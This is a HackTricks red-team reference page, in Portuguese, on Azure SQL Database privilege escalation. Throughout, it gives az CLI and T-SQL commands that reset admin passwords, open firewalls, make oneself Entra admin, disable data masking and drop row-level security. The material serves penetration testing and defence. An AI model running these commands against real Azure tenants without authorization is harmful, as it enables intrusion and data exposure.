Az - SQL Database Privesc

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SQL Database Privesc

Para mais informações sobre SQL Database, consulte:

Az - SQL

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

Com essas permissões, um usuário pode realizar escalonamento de privilégios ao atualizar ou criar servidores Azure SQL e modificar configurações críticas, incluindo credenciais administrativas. Essa permissão permite que o usuário atualize propriedades do servidor, incluindo a senha do administrador do SQL Server, possibilitando acesso ou controle não autorizado sobre o servidor. Eles também podem criar novos servidores, potencialmente introduzindo infraestrutura sombra para fins maliciosos. Isso se torna particularmente crítico em ambientes onde "Microsoft Entra Authentication Only" está desativado, pois podem explorar a autenticação baseada em SQL para obter acesso irrestrito.

bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado, para habilitá-lo:

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

Além disso, com as permissões você pode habilitar a identidade atribuída, operando com a identidade gerenciada anexada ao servidor. Por exemplo, aqui com uma identidade gerenciada que pode acessar o Azure Storage:

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
sql
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Um atacante pode manipular regras de firewall em servidores Azure SQL para permitir acesso não autorizado. Isso pode ser explorado para abrir o servidor para endereços IP específicos ou intervalos inteiros de IP, incluindo IPs públicos, permitindo acesso para atores maliciosos. Esta atividade de pós-exploração pode ser usada para contornar controles de segurança de rede existentes, estabelecer persistência ou facilitar movimento lateral dentro do ambiente ao expor recursos sensíveis.

bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

Além disso, a permissão Microsoft.Sql/servers/outboundFirewallRules/delete permite que você exclua uma Regra de Firewall.
NOTA: É necessário ter o acesso público habilitado

Microsoft.Sql/servers/ipv6FirewallRules/write

Com essa permissão, você pode criar, modificar ou excluir regras de firewall IPv6 em um Azure SQL Server. Isso poderia permitir que um atacante ou usuário autorizado contornasse as configurações de segurança de rede existentes e obtivesse acesso não autorizado ao servidor. Ao adicionar uma regra que permite tráfego de qualquer endereço IPv6, o atacante poderia abrir o servidor para acesso externo.

bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

Além disso, a permissão Microsoft.Sql/servers/ipv6FirewallRules/delete permite que você exclua uma Regra de Firewall.
NOTA: É necessário ter o acesso público habilitado.

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

Com essas permissões, você pode realizar privilege escalation em um ambiente Azure SQL Server acessando bancos de dados SQL e recuperando informações críticas. Usando o comando abaixo, um atacante ou usuário autorizado pode se definir ou definir outra conta como administrador do Azure AD. Se "Microsoft Entra Authentication Only" estiver habilitado, você poderá acessar o servidor e suas instâncias. Aqui está o comando para definir o administrador do Azure AD para um servidor SQL:

bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

Com essas permissões, você pode configurar e impor "Autenticação Apenas do Microsoft Entra" em um Azure SQL Server, o que pode facilitar a escalada de privilégios em certos cenários. Um atacante ou um usuário autorizado com essas permissões pode habilitar ou desabilitar a autenticação apenas do Azure AD.

bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

Modifique (ou desative) as políticas de mascaramento de dados em seus bancos de dados SQL.

bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Remover Segurança em Nível de Linha

Se você fizer login como admin, pode remover as políticas do próprio admin e de outros usuários.

sql
DROP SECURITY POLICY [Name_of_policy];

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks